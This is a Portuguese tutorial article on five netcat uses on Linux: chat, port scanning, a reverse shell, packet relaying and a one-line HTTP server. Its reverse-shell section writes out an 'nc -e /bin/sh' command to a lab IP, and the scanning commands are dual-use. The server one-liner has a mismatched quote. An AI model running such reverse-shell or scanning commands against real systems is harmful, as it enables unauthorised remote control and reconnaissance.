5 usos simples e fáceis para o Netcat no Linux

5 usos simples e fáceis para o Netcat no Linux

Netcat é um poderoso utilitário de rede de linha de comando no Linux que pode enviar e escutar pacotes TCP e UDP. Ao contrário de outras ferramentas de rede, o netcat é extremamente básico. No entanto, sua simplicidade também permite realizar quase qualquer tipo de atividade em uma rede.

Este artigo mostrará 5 tarefas simples de rede que você pode executar com o netcat. Além disso, este artigo também destacará o que torna o netcat especial e por que você deve incluí-lo em seu kit de ferramentas do Linux.

Como funciona o Netcat e por que usá-lo?

Netcat é um utilitário básico que pode enviar e receber pacotes de rede. Foi lançado pela primeira vez em 1995 por um programador pseudônimo chamado Hobbit. Desde então, o netcat tem sido uma parte importante de todas as distribuições Linux.

Basicamente, o netcat funciona enviando solicitações de rede de um host Linux para outro. Essa solicitação de rede pode conter qualquer tipo de dados e você pode enviá-los em qualquer porta.

Um terminal mostrando uma transferência de texto simples usando netcat.

Essa abordagem significa que o netcat pode criar qualquer tipo de conexão de rede possível. Por exemplo, o programa pode criar conexões TCP diretas que você pode usar para transferir arquivos ou criar sessões de shell reversas .

Uma área de trabalho mostrando uma transferência de arquivo simples entre dois hosts Linux usando o netcat.
Fonte da imagem: Pedro Lastra via Unsplash .

1. Sessão de bate-papo ponto a ponto

Um dos usos mais básicos do netcat é uma simples sessão de bate-papo ponto a ponto entre duas máquinas Linux. Este é um método de comunicação que não depende de nenhum servidor de terceiros para enviar e receber informações.

  • Para que isso funcione, você precisa abrir uma porta entre 49152 e 65536 em sua máquina local. É aqui que um host remoto poderá se conectar e enviar informações arbitrárias para sua máquina.

sudo ufw allow 50000

  • Você também precisa abrir uma porta diferente no host remoto para que sua máquina envie informações para ele:

sudo ufw allow 50001

  • Execute netcatem sua máquina com os seguintes argumentos:

nc -lp 50000

Isso abrirá uma sessão netcat que está escutando ativamente os dados na porta 50000.

  • O host remoto agora pode enviar qualquer dado de texto para sua máquina local. Por exemplo, o comando a seguir enviará a entrada padrão do sistema para uma máquina remota.

cat - | nc 192.168.122.136 50000

Um terminal mostrando o prompt de entrada padrão para um bate-papo netcat básico.
  • Para responder à mensagem, o host remoto também precisa executar um daemon de escuta:

nc -lp 50001

  • Agora, você também pode enviar uma mensagem da máquina local para o host remoto:

cat - | nc 192.168.122.177 50001

Um terminal mostrando dois terminais virtuais para um bate-papo netcat full duplex.

2. Scanner básico de portas

Um scanner de porta é um utilitário simples que verifica se um conjunto de portas em uma máquina pode ser acessado de um host remoto. Isso é muito útil nos casos em que você não tem certeza se o sistema possui as portas apropriadas abertas.

Para verificar uma única porta, você pode executar nc -vseguido do endereço IP e da porta que deseja verificar:

nc -v 192.168.122.177 80

Um terminal mostrando uma varredura de porta básica para a porta 80.

Você também pode fornecer um intervalo de números em que o netcat verificará sequencialmente cada número de porta dentro desse intervalo. Por exemplo, a execução do seguinte comando fará a varredura de todas as portas “conhecidas” abertas:

nc -v 192.168.122.177 1-1024

Um terminal mostrando uma varredura em massa para

Uma das desvantagens de consultar portas é que isso gera tráfego de rede desnecessário. Isso pode ser um problema se você estiver testando uma grande variedade de portas em uma pequena rede doméstica.

Para corrigir isso, ative o modo “Zero I/O” do netcat, que não cria nenhuma atividade de rede no host remoto:

nc -zv 192.168.122.177 1-1024

Um terminal mostrando uma varredura de porta em massa de E/S zero com netcat.

3. Invólucro reverso

Shells reversos são o pão com manteiga dos testes de penetração no Linux. Essas são instâncias de shell remotas que permitem controlar um sistema mesmo sem portas de entrada abertas. Isso torna os shells reversos úteis se você precisar acessar uma máquina que não tenha nenhum acesso SSH.

  • Para criar um shell reverso, você precisa abrir um daemon de escuta em sua máquina local:

nc -lp 50000

  • Inicie uma conexão netcat em sua máquina remota. Nesse caso, você também precisa passar pelo ambiente shell da máquina remota:

nc -e /bin/sh 192.168.122.136 50000

  • Volte para sua máquina local e execute um comando shell. Por exemplo, a execução lsimprimirá o diretório atual do usuário remoto.

ls -la

Um terminal mostrando a saída de um shell reverso bem-sucedido.
  • Para encerrar a sessão do shell reverso, você pode pressionar Ctrl+ Cno daemon de escuta da sua máquina local.
Um terminal mostrando o fechamento do shell reverso na máquina local.

4. Retransmissão de pacotes básicos

Além de ler e gravar diretamente em um fluxo de rede, você também pode usar netcat para redirecionar uma conexão de entrada para qualquer porta de saída. Isso funciona encadeando vários ouvintes netcat e sessões de cliente usando pipes UNIX.

  • Crie uma sessão netcat que escute na porta 50000. Isso servirá como porta de saída para sua retransmissão básica:

nc -lv localhost 50000

  • Abra um novo terminal e execute o seguinte comando:

nc -lv localhost 50001 | nc localhost 50000

Fazer isso criará um novo daemon de escuta na porta 50001 e redirecionará automaticamente quaisquer pacotes nesta porta para a porta 50000.

Um terminal que mostra a conexão de passagem entre duas portas.
  • Agora você pode enviar dados para sua porta de entrada e o netcat redirecionará automaticamente sua saída para sua porta de saída.

echo "MakeTechEasier"| nc localhost 50001

Um terminal mostrando uma retransmissão de pacote básico em ação.
  • Além das portas locais, você também pode usar esse recurso para redirecionar qualquer tráfego de rede para uma máquina diferente. Por exemplo, o código a seguir envia dados na porta 50000 para a mesma porta em um sistema diferente:

nc -lv localhost 50000 | nc 192.168.122.177 50000

Um terminal mostrando uma retransmissão de pacote básico entre dois hosts.

5. Servidor HTTP básico

A configuração de um servidor HTTP pode ser um processo complexo, mesmo que você queira servir apenas uma única página. A esse respeito, o netcat também pode servir como um servidor web estático simples que você pode rodar no Linux sem instalar nenhuma ferramenta adicional.

  • Crie um arquivo de resposta HTTP básico. O trecho de código a seguir exibe uma página da Web com uma mensagem simples:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • Salve-o como “index.http” em seu diretório pessoal.
Um terminal mostrando a estrutura de uma resposta HTTP simples.
  • Execute o seguinte comando:

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Um terminal mostrando um servidor web netcat simples em execução.

Agora você tem um servidor web funcionando. Você pode visitar sua página da Web abrindo um navegador da Web e acessando http://localhost:8080.

Uma captura de tela mostrando um servidor web netcat em funcionamento servindo uma página da web.
  • Pressione Ctrl+ Cno terminal para sair da sessão atual do servidor da web.
Um terminal mostrando o processo de fechamento do servidor web netcat básico.

perguntas frequentes

Não consigo me conectar a uma máquina remota usando netcat.

Esse problema provavelmente ocorre devido a uma porta de firewall bloqueada na máquina remota. Você precisa ter certeza de que a porta que está usando em sua máquina está aberta para conexões de entrada e saída. Por exemplo, você precisa executar sudo ufw allow 49999se quiser usar a porta 49999 na máquina remota.

É possível conectar-se a qualquer host usando netcat?

Não. Embora o netcat possa ler e gravar em qualquer fluxo de rede arbitrário, ele não pode se conectar a uma máquina que não possa ser descoberta na rede do seu sistema. Isso inclui redes privadas que não têm encaminhamento de porta ativado, bem como sistemas de intervalo de ar que não têm acesso à rede.

É possível falsificar uma conexão no netcat?

Não. Isso ocorre porque o netcat só pode enviar e receber pacotes de uma interface de rede válida. No entanto, você pode alterar a origem desse pacote específico se tiver várias interfaces de rede.

Por exemplo, você pode executar nc -l -s 10.0.0.2 -p 50000para dizer ao netcat para enviar pacotes explicitamente usando a interface que tem o endereço IP “10.0.0.2”.

Crédito da imagem: ThisisEngineering RAEng via Unsplash . Todas as alterações e screenshots por Ramces Red.

Deixe um comentário

O seu endereço de email não será publicado. Campos obrigatórios marcados com *